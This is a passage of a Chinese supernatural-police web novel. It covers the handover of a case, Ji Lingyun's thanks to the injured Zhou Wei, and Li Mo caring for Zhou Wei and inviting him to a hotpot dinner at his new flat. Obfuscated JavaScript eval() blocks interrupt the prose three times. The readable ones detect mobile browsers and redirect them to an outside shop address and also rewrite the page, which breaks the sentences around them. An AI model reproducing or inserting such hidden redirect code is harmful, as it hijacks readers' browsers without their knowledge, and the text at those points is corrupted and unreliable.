严瑾最后给李默留下的那个符文,竟然就是玉一所属的那个杀手组织的标志,甚至玉一最后也是因这个符文而死。而这个符文,似乎还与墨陵周氏有着说不清道不明的联系。 简直一团乱麻。 然而再乱,乱的也不是珑湖市局。由于玉一越狱和灵力血清的出现,这个案子的严重程度甚至比灵器黑货案还要上升一个等级。在冯坤死后的第二天,季凌云就向总部报告了初步调查结果,总部的命令在当天下达,成立专案组针对玉一越狱和灵力血清案进行专项调查,季凌云为特派专员,负责收集案件相关资料,全权处理一切相关后续事宜。 之后的一个星期,珑湖市局整理出了案件的一应资料、卷宗和证物等,全部移交给了季凌云小组,即将由季凌云小组带回总部。同时涉案人员在案件调查结束前不得离境,以随时配合总部传讯。 今天这最后的一道移交手续完成,这个案子就彻底不归珑湖市管了。 “咚咚咚”三声,声音平和端正,连中间间隔都是一模一样。季凌云耐心等着,直到里面传来一声清晰地“进来”,才推门入内。 “嗨,是你啊。”周纬一见是他,刚躺下的身体又干脆果断地直起来了,一巴掌掀飞了放在旁边装模作样的一本杂志,从底下摸出了一部手机,玩起游戏来。 “我们下午的飞机回总部,特来向周队告别。”季凌云走到周纬身边。 “行,心意收到了,跪安吧,以后没事别来珑湖了。”周纬手上操作如风,连个眼神都懒得分给季凌云一点,嘴皮子跟念咒一样咕噜出了一长串,中心含义就只有一个——“好走不送”。 然而季凌云却没有要走的意思。 他们现在所处的地方是医研中心的病房。其实按理来说周纬的伤势根本不需要卧床养病,他只是左臂骨裂,再加上右手断了两根手指而已,所谓伤筋动骨一百天,虽然灵力者体质特异,再加上异监局有特殊的医疗手段可以帮助加速愈合,但想要完全痊愈至少也得接近一个月的时间,在哪儿养病都不会让这个恢复速度加快一点。 所以周纬的本意是要么该上班上班,要么就干脆让他回家躺着,反正接下来的差不多都是些文书工作了,他也乐得躲清闲。 然而这个建议遭到了一个人的强烈反对,那就是李默。他坚决要求周纬就算要来市局上班,也不许去办公室,只准在医研中心躺着。他在周纬的病床外站成了一尊门神,谁要来找周纬汇报工作,就得先过他这一关。 这会儿正是午饭时间,李默下楼去给周纬打饭了,这才让季凌云钻了空子。 只是这根棒槌,完全没有自己是钻空子进来的意识,居然一屁股在周纬身边坐下了,摆出了一副要长谈的架势。 周纬的右手本来就只剩了仨手指好用,走位颇为惊险,被季凌云这么一惊吓,他控制的英雄被冷不丁哪里射出来的一发冷箭射中,顿时血量见底,屏幕上弹出来“GAME OVER”的字幕。 周纬英雄气短地长叹一声,扣了手机,转过头来面对着季凌云,一脸头疼:“季大组长,你是专门来克我的么?” 62.盟友 “我是专门来谢你的。”季凌云道。 他的神态认真、正直而恳切:“今天赵明森一家四口已经走完记忆清洗程序了,除了那位父亲刘怀远受伤较重,其余三人都不会留下什么身体或者精神方面的永久性创伤。市局安排了专人照顾刘先生,恢复的时间可能会长一点,但不是不可治愈的。” 周纬点了点头。遇到这种事,对谁来说都是飞来横祸,能保住一命就已经是不幸中的万幸,当得起“大难不死,必有后福”八个字。 “赵先生他们在清除记忆之前,曾经提出要见你和李默一面,但你有伤在身,李默又忙着照顾你,所以他们就让我帮忙转达他们一家四口的谢意。”季凌云道:“……是跪着说的。” 周纬:“……” “你大可不必啊!”周纬猛地缩着身子往病床边一躲,生怕季凌云做出什么大逆不道的举动,那模样仿佛季凌云不是要向他下跪而是要让他失身:“得了得了,谢意传达到了就行了,你还有什么别的话要说吗?没有了的话能赶紧退散不?” “有。”季凌云道:“我自己也要向周队致谢,还有致歉。” 这人也不知道是什么毛病,道个谢也能道得千回百转:“这次灵力血清案牵连甚广、干系甚大,全靠周队和珑湖市局的一干同仁浴血奋战,才能最大限度地减少伤亡,降低影响,我代表总局和我个人对周队和珑湖市局深表感谢。在之前查案过程中,我对周队多有怀疑和冒犯,事实证明是我错了,还请周队见谅。” 他顿了顿,低眉垂目道:“多谢你们了。” 这段话前半段说得活像电视上的新闻发言人,最后一句却说得颇为沉重,虽是谢语,却透着一股说不出的压抑。 周纬终于收敛了不耐烦的神情,表情也跟着沉静下来。 他道:“季组长此次回总部之后,有什么打算?” “继续跟进调查。”季凌云不假思索地回答:“这个案子还有诸多疑点,但既然我已经接手,就没有高高拿起、轻轻放下之理。我会一直查下去,直到真相大白、水落石出为止。” “真相大白、水落石出”,周纬把这八个字在唇间咂摸过几遍,莫名其妙地,他想起了严瑾。 低头思索了片刻,周纬抬起头来:“这是调查组组长季凌云的打算,我是问你的打算。” 这话说的有点晦涩拗口,季凌云一愣,一时间没反应过来。 “灵器黑货案、玉一越狱案、灵力血清案……”周纬语气轻缓地道:“不过月余时间,珑湖市已经接连发生三起大案,而且桩桩件件直指雍京总部。季组长,你不觉得这里面有什么问题么?” “不是有个名叫夭冥的妖类贯穿其中么?”季凌云皱眉:“专案组这次的主要目标之一,就是缉拿这个夭冥。” 然而周纬摇了摇头。 “一个妖类,而且是个A级通缉犯,他哪来的那么大能量,探知那么多底细,甚至把手都伸到了异监局总部?”周纬道:“全天下那么多做着飞天梦的中二少年,他怎么就好巧不巧,把灵力血清送到了一个身边有着妖犯钦原的冯坤手里?” 季凌云愕然道:“你是说……” “一桩灵器黑货案暴露了《监察法》的漏洞,一桩玉一越狱案引出了总部的内部管理问题,更别说还有个影响不知几何的灵力血清案。”周纬的目光深邃,意有所指道:“季组长不觉得,这是有人在故意针对异监局吗?” 季凌云:“……” “我只是想提醒季组长,想要‘真相大白、水落石出’可没有那么容易,不管是过程中缩需要付出的代价,还是查清真相之后可能会造成的后果,季组长都要考虑清楚。”周纬盯着季凌云的表情,意味深长道:“……三思而后行啊。” 这话说得暧昧不清,但听在聪明人耳中,已经足够清楚明白了。 如今接连发生多起大案,许多都与异监局总部有关,尤其是关涉执行局。在特委会修订《监察法》前夕,总部发生这么多的风波,背后就算真的不是总部某一方势力在推波助澜,也很难排除有人会见势起意、顺水推舟。 而季凌云的身份此时可谓既敏感又特殊。明面上看他是总部执行局行动二处的副处长,是执行局的人,然而却又出身于季林联姻的两大世家,身上牵涉着管理局两大巨头。这身份在平时可能是护身符,到了现在却变得有些尴尬,因为管理局和执行局两方不管哪一方出现问题,季凌云都必受牵连。 另外季凌云自己的个人选择也很微妙。 他口口声声称要“真相大白,水落石出”,可谁知道继续追查下去会出现个什么结果?谁能保证追查出来的那个真相,就一定是他想要的那个真相呢? 说直白点,如果查到最后,发现就是执行局中有一大批高层,里通外贼,通过偷放妖犯的方式来牟利怎么办? 而如果结果恰恰相反,是管理局的人在背后策划了这一切,栽赃嫁祸、党同伐异,只是为了在特委会召开前夕打击执行局势力,扩大自身优势怎么办? 如果真的一查到底,查出来的结果会对谁有利? 此刻的他或许是真心想要求一个“真相大白,水落石出”……但是所谓真相,真的是他能够承受的吗? 所以周纬才要他“三思而后行”。 而他自己,也在等季凌云“三思”之后的答案。 周纬心里一片清明。他想要帮助李默查清严瑾之死的真相,单靠他自己单打独斗是不可能的,严瑾死亡的根源很有可能就在异监局总部,而那股势力既然庞大到能够吞下一个堂堂大监察官,那么必定也不会把他跟李默放在眼里。如果只有他们两个贸然追查,最后的结局很可能是以卵击石,重蹈严瑾的覆辙。 他虽然已经打定主意帮助李默把这件事查下去,但前提是不能让李默和他自己也折在里面。 所以他需要帮手,或者说,需要盟友。 这个盟友最好身在总部,有一定的权力地位,耳聪目明机敏灵活,能够在多方势力之间游走打探而不会引起注意。从这个角度上来说季凌云是个不错的人选,他虽然有些过于耿直,机敏不足,但好在他身边还有两个得力的助手。 但最重要的是——这个盟友必须值得他跟李默托付信任。 可季凌云能够做到吗? 他的处境如此敏感特殊,人情世故,伦理纲常,无一不是牵绊,他又会作何取舍呢? 周纬在等着他的答案。 良久之后,季凌云缓缓抬起了头。 “我明白周队的意思了。”他道:“但我不能苟同。” 周纬倏然一愣。 只见季凌云身姿笔挺,平肃端直地看向周纬,目光是从未有过的明澈沉凝:“我既然身为调查组组长,调查组的职责就是我的职责。既然如此,又分什么调查组的打算、我的打算呢?” 周纬:“……” 半晌,他的嘴角缓缓翘起,终于露出了自季凌云进门以来的第一个微笑。 “既然如此,”他朝季凌云伸出右手:“那我就祝季组长此次征程平安顺利,凯旋而归了。” “谢谢周队。”季凌云从善如流地站起来,那张历来平板严肃的脸上难得地浮起一个微笑,同样伸手……握住了周纬的两根手指。 * “季组长来过了?”李默一边在病床边忙来忙去,一边抽空问道。 “已经走了,这会儿估计已经在去机场的路上了。他还转达了人质那一家四口的感谢,人家全家跪下来叩谢你的救命大恩。”周纬盘腿坐在病床上,看着李默房间里四处搜寻翻找,脸上是一片平静和超脱。 他眼睁睁地看着李默从鞋柜里、床底下、枕套中、窗帘盒上和壁挂电视与墙壁的夹缝里搜出了啤酒、酸笋、酒鬼花生、柠檬凤爪和麻辣钉螺等“赃物”,然后好整以暇地走过来,从床头的不锈钢餐盒里取出周纬藏好的手机,试了试温度:“嗯,玩了大概十二分钟。” “是的。”周纬平静地答道:“请季凌云去死,要不是他,我还能多玩五分钟。” 这次周纬受伤,反应最大的不是异监局的同事们,不是周纬本人,而是李默。 他不知怎么回事,对这次周纬的伤势反应格外剧烈,回到市局的第一天就直接冲进了赵昌誉办公室,表示要给周纬请一个月的长假,在家安心休养,然后被赵昌誉轰了出来——左臂骨裂和手指骨折算他妈什么大病,如果这点伤都要休养一个月,那周纬这个监察队长就可以直接卷铺盖滚蛋了。 李默不死心,又在医研中心申请了一个长期床位,要求周纬就算来市局,也必须在病房里待着,由他全程陪护。他在周纬的病床旁边安了一张折叠椅,平时就在那里休息,确保自己一睁眼就可以看见周纬,周纬也一睁眼就能看见他。 与此同时,他全方位接管了周纬的生活,每天只要醒着就只做一件事,那就是围着周纬转来转去,简直恨不得把自己变成张狗皮膏药黏在他身上。 一开始周纬对这种无微不至的照顾还是很受用的,毕竟有这么大个美人赏心悦目地围着自己打转,眼福都差不多快把他喂饱了——然而仅仅过了一天,周纬就受不了了。 原因无他,李默的照顾真的太“周到”了。 他仿佛是铁了心要把周纬这辈子前三十年身体落下的亏空和受过的伤损,在这一个月之内全补回来。这人不知从哪儿弄来了一份周纬去年的体检报告,专门去咨询了一下医研中心的大夫,标出了所有不合格的指标,密密麻麻地列了一长串针对性的恢复计划。比如周纬长期饮食不规律,有轻微胃溃疡,他就严格监督周纬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——然后开始了跟李默长达一个星期的斗智斗勇。 事实证明,想要在一个嗅觉无比灵敏的A级妖类面前藏起任何带气味的零食都是痴心妄想。周纬的反抗从来没有成功过,以至于一次次挫败到现在,他的心境已经心境非常平和,甚至生出了“下次干脆把麻辣鸭脖藏进袜子里”这种伤敌一千自损八百万的想法。 “其实我可以回来得更早一点的。”李默拖过活动餐桌,将给周纬带的小米粥、鸡蛋羹、清蒸鱼、冬瓜汤盅和白灼秋葵一样样地拿出来摆开,又给周纬摆好餐盘和勺子——此人因为双手受伤此刻委实拿不了筷子——然后帮周纬调整了一下坐姿,在他背后垫了一个靠枕:“我在餐厅遇到了何副队,他告诉我,冯汝成夫妇今天也已经走完记忆清洗程序了。” 周纬眉目间的神色骤然寡淡下来。 他第一百零一次拒绝了李默试图喂他吃饭的想法,用右手拇指和无名指捏着勺子,舀起一勺冬瓜汤送进嘴里,感觉淡而无味:“进行记忆清洗之前要对清洗对象进行全面体检,确保清洗对象可以承受得住精神冲击,所以局里现在应该已经知道了——黄丽华怀孕了,是么?” 李默点了点头:“是。” 他问道:“周队是怎么知道的?” “申彦雪发现的。”周纬面无表情地又喝了一口汤:“在调查这对夫妻的时候她发现了黄丽华购买叶酸的消费记录,已经持续了七个月了。” 叶酸是女性在备孕和孕早期必须补充的一种维生素,也就是说黄丽华和冯汝成要么在准备要第二个孩子,要么就是已经怀上了。在行动过程中周纬发现黄丽华一直在有意无意地护着小腹,猜测后者的可能性比较大。 一对已经年过四十的夫妇,拼着高龄怀孕和生产的各种风险,也想要第二个孩子。 是因为已经对长子全然失望,终于决定放弃他了么? 那他们在天台上说的那句“爸爸妈妈爱你”,又算什么呢? “……旧的不去,新的不来,”周纬冷笑了一声:“挺好的。” 李默沉默了片刻:“周队是因为这个,所以才提出最后让冯坤见他们一面的么?” 周纬漠然不语。 其实最后在天台上,让冯坤和冯汝成夫妇直接对话,是一种很冒险的行为,而且也不符合章程。别的不说,冯汝成夫妇在这之前都从未直接涉入过超自然事件,让他们跟冯坤见面,无疑是在打破这一状态,严重违反了异监局“非必要不得将普通人涉入超自然事件”的安全条例。说白了,如果不是因为周纬当时让冯汝成夫妇跟冯坤见了面,他们今天都未必需要走这套记忆清洗程序。 而且当时冯坤已经没有反抗能力了,正确的做法应该是赶紧给他上灵枷,确保他无法再反抗,然后按照规定该抢救抢救,或者抓紧最后的时间拷问一下案件有关线索,能问出多少来是多少——而不是让一个濒死的杀人犯去见他父母最后一面。 可周纬还是这么干了。而且,从他不辞劳苦地将冯汝成夫妇从珑湖市带到了莱山镇这一点来看,他恐怕在出发之前,就已经决定要这么做了。 出乎意料的,当时在场的监察员们没有一个出言阻止,哪怕是季凌云。 63.回家2.0 其实有什么必要呢?冯坤是个三观扭曲的杀人犯,这种人不配因为他是个孩子、是个未成年而得到任何同情。他到最后哪怕是死无全尸,也偿还不了那些因他而受伤、而丧命的受害者们,和他们背后破碎的家庭万分之一的苦痛。 若真有地狱,那这种人根本不配轮回,只配待在九幽之下被冤魂厉鬼啃噬,永世不得超生。 “何副队告诉我,冯汝成虽然对冯坤的所有犯罪行为并不知情,但他毕竟是既得利益者,而且在调查冯坤的过程中也发现了他网赌网贷、虚假验收等违法事实。”李默道:“目前他的资料已经被移交公安部门了,应该会由经侦那边进行调查和清算。何副队说,具体会不会入狱判刑还要等调查结果,但他应该是没办法再在现在的位置上干下去了。” 周纬点了点头,脸上也看不出什么表情,只是继续低头吃东西。 其实想也知道,冯汝成虽然在恒泰副总监的位置上干了不短的时间,但并没有攒下多少资产,反而因为网赌网贷而欠了一屁股债。如果失去现在的职位和事业,这个家庭就会瞬间一落千丈,甚至可能比当初在莱山镇时的景况还有所不如。 更有甚者,要是他真的因为经济犯罪而入狱,那这个家庭就差不多算完了。 到时候,那个已经孕育在黄丽华腹中的孩子,又该怎么办呢? 他如果出生降世,睁眼面对的,又该是怎样一个人间呢? 这世事真是吊诡无常。冯家带给他们荣华富贵的那个儿子走了,而留下的后果,却要一个尚未出世的生命来承担。 到那时,冯汝成和黄丽华这对父母,能好好地担负起他们的责任吗? 历经此事,他们能有所长进,好好地扮演起为人父母的角色,带给这个孩子他们未曾给予长子的关怀和爱护吗? 病房中一时陷入了沉默。 周纬喝了几口粥,突然道:“我一直在想玉一的名字。” 李默抬起眼睛望着他。 “十四年前他还没有名字,被捕的时候他的案卷资料上写的就是‘钦原’,他自己也没说过自己有其他的名字。”现在谈起十四年前的案子,周纬的表情已经相当平静了:“但是现在他明显非常在意自己的名字,死前他还说,这个名字是冯坤给他起的。” 他转向李默:“你还记不记得冯坤死前,特意从口袋里掏出了一部手机握在手里,那部手机上,有一个绿色的玉石坠子。” 李默点了点头 “玉一,玉一……”周纬低声道:“‘琢之磨之,玉汝于成。孰为玉工,师友父兄’①。” 李默的身体倏然一颤,难以置信地瞪大了眼睛。 “谁知道呢?”周纬却没有再继续说下去。沉默片刻,他低下头来,浓密的眼睫垂落:“……反正人都已经死了。” 人死尘缘了。 那些隐晦微末的期待和渴盼,那些无法言说的希冀和寄托,也许也就只能就此,永远埋没于黄土中,再也无法分说了。 一顿饭吃得寡淡无味……无论是字面意还是比喻意。 下午市局就没什么事了。案子已经成功移交,忙碌了整整一个周的监察员们终于可以喘口气了,于是周纬在这间病房里,除了前来汇报工作的监察员们之外,终于真真正正地迎来了第一波前来探病的同事——监察执法队派出了何昭华、燕鹏飞、洛小莉的三人代表团,前来对英勇负伤的队长周纬同志传达来自同事们的关怀和慰问。 结果就是一片鸡飞狗跳。 说起来这帮亲同事们真是闲出屁来了,过来探病就探病吧,居然还带了一堆慰问品,其中全无鲜花果篮燕窝之类的正经东西,全他妈是炸鸡烧烤小龙虾等物……也亏得监察执法队这群人百忙之中还有闲工夫凑在一起商量怎么给自家队长添堵,这三人热热闹闹地来了一趟,留下满屋子鲜香麻辣,然后果然如愿以偿,又热热闹闹地被周纬轰出去了。 李默也没起半点好作用。他的原则是只要那些垃圾食品入不了周纬的口,他就不管,于是就只是笑眯眯地站在一旁,看着队员们折腾揶揄自家亲队长,笑容无比慈爱祥和。 气得周纬脸色铁青。 其中还发生了一些小插曲,比如—— “哇,周队!你右手这两根指头戴着固定器,好像一直在比耶诶!”洛小莉拿出手机跟周纬自拍:“来,笑一个!” “唔,看起来李默同志真是把你照顾得相当不错。”何昭华以上级领导视察基层单位的姿态,背着手在病房里逡巡:“连袜子都给你洗得这么干净。” “话说周队你双手都受伤了,吃喝拉撒岂不是都很不方便?”燕鹏飞突然想起来了什么似的,大惊失色道:“穿衣呢?吃饭呢?洗澡呢?话说这都一个星期了,有人给你洗过澡吗?!” 洛小莉闻言一跃而起,一个猛子就冲到了周纬身边,以迅雷不及掩耳掩耳之势撸起他右手病号服的袖子:“嗯,没馊!” 何昭华和燕鹏飞同时瞪大了眼睛。 三人对视一眼,随即同时转头注目向了一旁安静微笑着的李默,出离震惊了:“这么贤惠的吗?!” 周纬:“……” 下一秒,医研中心的走廊上就听到了一声怒吼,一团狂躁的旋风把三个人乱七八糟地卷成了滚地葫芦,字面意义上地扫地出门:“我只是骨折了不是不能杀人了!滚!” 然后病房们就“砰”的一声关上了,上面灵力光芒杀气腾腾地亮起,勾勒出了“擅入者死”四个大字。 医研中心的医护人员们:“……” 大家淡定地走开了,嗯,异监局的平淡日常。 * 送走了这一群人形比格的亲同事们,周纬终于清闲了下来,心累地长叹一声倚靠在床头,右臂抬起搭在了额头上,遮住了眼睛。 ……但是嘴角悄无声息地弯了起来。 李默站在他床边,微笑地看着他,心里涌起了一股难以言喻的安宁。 他看着周纬斜斜地倚靠在床头,支起一条腿,把一本财经杂志放在膝头,百无聊赖地扫着上面的新闻。午后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249993|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖阳从窗外斜照而来,穿透他的病号服,给他整个人都镀上了一层暖色的光晕,他在静暖的阳光里安闲地翻动着书页,仿佛翻动着时光。 一个念头像是突如其来,又像是水到渠成般地,就这样浮现在了李默的心头。 他突然想,要是能永远这样过下去,就好了。 他从来不是个贪心的妖类,守着大山几百年,他一身清净,心如止水;没想到化形入世短短十年,就让他遇到了一个会奢求“永远”的人。 而他竟不觉得贪婪虚妄,只觉得内心安然平静,无比温柔。 周纬翻了一会儿杂志,就见李默突然在他的床边坐了下来:“嗯?” “明天就是周六了。”李默有头没尾地来了句:“市局不上班,周队想回家吗?” 周纬:“……” 他难得的平静安宁的好心情被打破了,嘴角耷拉了下来,面无表情地说了句:“哦。” 他对“回家”这件事,委实没什么太大的热情。 之所以哪怕受伤也要来市局,是因为李默在这里,就算是上班也好,他至少还能看到李默天天在自己跟前晃着。在医研中心住院的这几天就更加了,李默几乎跟他寸步不离,哪怕是享受着他的种种反人类的“虐待”,周纬也甘之如饴,心里满足得要命。 可回家就没有李默了。 他虽然双手受伤,却也只是做事情麻烦一点而已,又不是生活不能自理,没道理要求李默跟到他家里去照顾他。 因此回家对他来说,就只是回到一个冰冷的、空旷的大房子里去,里面的种种物件都跟他相见不相识。他在烟火人间里住久了,贪恋这份温暖,实在不是很想回到广寒宫里。 可李默说的又有道理。周末到了,市局不上班,医研中心的医护人员也得放假,他没有理由占着一个病房,让所有人都不得安宁地来伺候他。 周纬在心里长长地叹了口气,一个“回”字就要脱口而出。 李默道:“回我家。” “啪嗒”一声,周纬膝头的杂志掉在了床上。 他愣愣地望向李默,像是傻了。 “周队还记得我跟你说过,我想要租一处房子么?”李默温和地注视着他:“这两天已经收拾好了,只是还没入住。我听说人类这边乔迁新居需要邀请亲朋好友帮忙‘热灶’,不知道有没有这个荣幸,劳烦一下周队。” 周纬的脑神经像是跑完了足足十个马拉松,才反应出来了李默这句话的意思。 李默在邀请自己去他家。 ——以“热灶”的名义。 “可是……热灶不是要做饭么?”他还是不敢置信,惊疑不定地举起了自己战损的双手:“我……?” “不要周队做什么。”李默轻柔地微笑,眼底泛起一泓细碎的微光:“你能来,就很好了。” 周纬:“……” 于是半个小时后,一辆威武霸气的路虎从容驶离了医研中心,李默占据了驾驶位,旁边坐着一个晕晕乎乎、五迷三道的周纬。 64.火锅 不过周纬也只是晕了几分钟就醒了过来,并且越走越感觉不对劲,因为他敏锐地发现,这条路十分眼熟。 这不就是他上下班回家时要走的路吗? “这是?”他疑惑地看向李默。 “嗯?”李默握着方向盘转过头来,朝他露出一个询问的微笑。 周纬:“……” 这小子跟他装蒜? 一丝阴谋诡计的预感悄悄爬上了周纬的心头,他怀疑地眯了眯眼睛,决定按兵不动,看看李默究竟藏着什么花招。 然后他就眼睁睁地看着李默开着他的车,沿着他平时上下班的路,开进了他家小区,停在了他家……的前一栋住户楼下。 那小区大门的门卫居然还给他开门了! “这就是你租的房子?”周纬目瞪口呆:“你把房子租在了这里?” “是的。”李默微笑道:“怎么,周队不喜欢么?” “等等等等等!”周纬简直要受到惊吓了,一脸精神错乱的模样,连忙摆手叫停:“你……你为什么要把房子选在这儿?” “啊,其实是巧合来的。” 李默轻描淡写道:“周队有所不知。上次你受伤,我带你回家的时候,不是在这边过了一夜么?后来离开的时候,我偶然在社区告示栏里看到了一张招租启事,就留心记了一下房东的电话。房东人很好,因为要去出国帮子女照顾外孙,三五年不能回来,所以想把房子托付给一个比较稳妥的人,租金要得不高。我去拜访了老人家两次,她就很放心地把房子租给我了。” 周纬:“……” 这都是什么时候的事! 他心里简直说不上是什么滋味,说高兴也不是,说气恼也不是,脑子里刹那间各种想法烟花一样的攒射升空,炸了个漫天火树银花,最后也不知产生了什么化学反应,突然就撞出了一个念头——我怎么就没想到在小区告示栏里贴一张招租启事! 他在那边兀自复杂纠结,看得李默心里就一片可爱好笑。 他想起了自己找到这处房子的复杂经历。这种高档小区本就很少有人出租,李默拜托黄兴德整个小区打听了一圈,才打听到有这样一户人家近期准备出国,他就直接找上门去了。房东儿女原本打算让妈妈跟着自己在国外定居,房子是准备直接卖掉的,但老太太恋旧,想着自己的亲朋故旧都还在国内,便还在犹豫。李默上门的时候再三保证会好好照顾这处房子,房内装潢陈设一点不动,家具家电除了必要的维修保养之外绝不更换,连阳台上那盆君子兰都给她好好养着,并约定好如果以后老人家真的不回来,李默会按照现在的市价买下这处房子,这才换得老人家松了口,签下了租房协议。 不过……虽然过程曲折了点,但结果还是很好的。李默满心欣慰地想,这样就能离周队更近一些了。 近一些,也方便自己照顾他。这个人从来不拿自己的身体当回事,嘻嘻哈哈没心没肺的,要是没个人在身边看管照料,该怎么办呢? “怎么?”李默见周纬一直坐在车上没动,便出言劝诱道:“已经到楼下了,周队不想上去看看么?” 周纬:“……” 他还真不想! 他有种自己的窝边草被别家兔子吃了的气急败坏感,然而此时实在不好发作,只好撮着牙花子下了车,“砰”的一声摔上了车门。 ——好像那不是他自己的车似的。 说实话李默这处房子找得真不赖。本身就是高档小区,环境优雅,交通方便,离市局还近;家里的各种陈设一应俱全,看起来是已经提前打理好了,就差拎包入住。房东原本的装修就很有品味,原木风的家装风格简洁大气,充满着古朴典雅的格调,墙上贴着木质纹理的壁纸,房间的床榻做了地台设计,甚至在阳台上还摆放了一张小棋盘,一盆碧绿的君子兰在风中舒展着叶片,端的是个喝茶品茗下棋的好去处。 连周纬进来转了一圈之后都不得不承认,比起他自己家里的北欧风装修风格,还是这个房子更适合李默的格调。 只是这处房子跟周纬的家完全就是前后楼的关系,中间只隔着一个绿化带,连单元号都是同一个。周纬家在16楼,这一户在17楼,站在这一户的客厅里,甚至都能直接看到他自己家的卧室阳台。 周纬盯着自己那黑洞洞的家看了半晌,就越看越没脾气。 算了……好歹也是能做邻居了,至少李默还没车,住同一个小区的话,上下班还是可以一起走的。周纬半郁闷半无奈地给自己做心理疏导。 那边厢,李默已经利索地进了厨房,净了手,打开了冰箱:“周队今晚想吃什么?” 周纬其实没有意见,只要是李默做的他什么都爱吃。但他也知道这种时候甩出“随便”两个字是一种多么可恶的行为,于是想了想:“火锅吧?火锅简单,随便吃点儿得了。” 李默:“好。” 于是他打开冰箱,从里面拿出了牛肉卷、羊肉卷、毛肚、魔芋、鱼丸、虾滑、千张、土豆、冬瓜、西兰花、金针菇……摆满了整个料理台。 周纬:“……” 这他妈明天是要世界末日了吗?为什么你一个还没有入住的家里冰箱会囤这么多的食材?! ……可见某个妖类属实蓄谋已久。 * 周纬觉得自己今天重新认识了李默。 也不知道乔迁新居这件事到底打开了他哪个隐秘的开关,周纬从没见过有人能把火锅吃出这么多的花样。李默仍旧坚持不让他沾口味太重的食物,于是火锅汤底就只能用清汤,然而他在这份清汤上下足了功夫——只见他把焯过水的牛棒骨放进砂锅里,切了一小段大葱和姜片,鲜蒜头拍碎,加花椒、八角等香料放在一起熬煮,大火烧开后又转小火慢炖,之后依次加入盐、鸡精、醪糟和□□糖调味,最后在周纬目瞪口呆的目光中,他舀了一小勺尝了尝咸淡,又加了一瓶盖白酒。 锅盖掀开的一瞬间,热气蒸腾。 整个厨房活了。 周纬:“……” 对不起,他不该说火锅简单的,这简直是对火锅之神的大不敬。 李默一心多用,自己那边锅底正咕嘟咕嘟熬着,他也没忘了洗菜切菜备菜,一个人在厨房忙活,几乎把自己转成了个陀螺,看得周纬这个伤病号都有些不好意思起来。他打着“热灶”的名义来李默家蹭吃蹭喝,还占着受伤的便宜十指不沾阳春水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260018|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点忙都不帮擎等着吃,饶是以他厚如城墙般的脸皮,此时也属实有点坐立不安了。 于是他鬼鬼祟祟地蹭了过去,伸头探脑地往厨房里看:“我能干点什么?” 李默正在厨房里忙得不可开交,结果一回头,就差点撞上周纬的侧脸。 也不知是周纬来的太悄无声息,还是厨房里火锅汤底和各种食材蒸腾的热气香气干扰了李默的嗅觉,总而言之,他居然没发现周纬已经到了背后。周纬这么乍一出声,他吓了一跳,猛然回头,嘴唇骤然从周纬耳畔一掠而过。 两人同时感受到了一种温热柔软的触感。 周纬:“!!!” 李默:“!!!” 这俩人就跟摸了电门似的,猝然同时往后一跳,周纬龇牙咧嘴地撞上了厨房门,李默手忙脚乱的差点把切菜板打翻。 "……" 两人就这么大眼瞪小眼地僵在了厨房里,灶上的火锅汤底还在咕嘟咕嘟地冒着热气。 “周、周队你帮我看一下火,”李默突然转身,慌里慌张地摘下了围裙,感觉自己的心莫名其妙跳得飞快,脸上像是快要烧起来了:“我出去一趟。” “噢噢,好……”周纬恍恍惚惚地答应了一嘴,过了半天才反应过来:“啊?你要出去?” “家里没有海鲜,”李默已经飞快地逃离了厨房,钻到玄关穿好了外衣,全程没敢看周纬一眼:“冰箱里全是冻货,吃火锅要配新鲜的。” 周纬:“……” 行吧,是他低估了李默对于“一顿好饭”的要求标准的严苛程度。 李默飞快地换好衣服出了门。他们家小区附近就有个大型超市,走路不过十分钟,超市里各种生活用品一应俱全,各类海鲜应有尽有,现在去应该还能买到当日捕捞的鲜货。 然而奈何有人神思不属,五感颠倒,委实不是个挑海鲜的好时机。等到李默第三次在海鲜柜面前走神,跟一只张牙舞爪的帝王蟹大眼瞪小眼了五分钟,被周围人提醒挡路了之后,他才恍然惊醒,臊红着脸匆匆忙忙捡了几样海货,逃也似的出了门。 直到提着满手的牡蛎、血蛤和新鲜海胆踏出了超市,他整个人还像沉在梦里一般。 周队…… 周队他…… 李默恍恍惚惚,心里明知道不该,然而嘴唇上却已经不可抑制地泛起了刚刚那一掠而过的触感。 是……温热和柔软的…… 李默就像一个循规蹈矩了一辈子的好孩子,打出生以来第一次做坏事,心里的恐慌还在沸反盈天,新鲜的刺激和渴望却已经吞没了神智,越害怕越不由自主,越逃避越深陷其中,明明每一寸正常的神经都冲着他尖叫,他却神情恍惚,食髓知味,就是难以自拔。 直到一个念头猛地击中了他—— 等等。 我这是在哪里? 李默猝然停住了脚步,愣了半秒,抬头望去。 他正身处一条小巷之中。夜风从他身后吹过,一只瘦骨嶙峋的野猫猛地抬头,惊惧地“喵”了一声,浑身毛发乍起,飞快地跳上垃圾桶逃走了。 巷子尽头,一名红发男子正倚靠在阴影里,抬起头来微笑着望向他。 65.夭冥 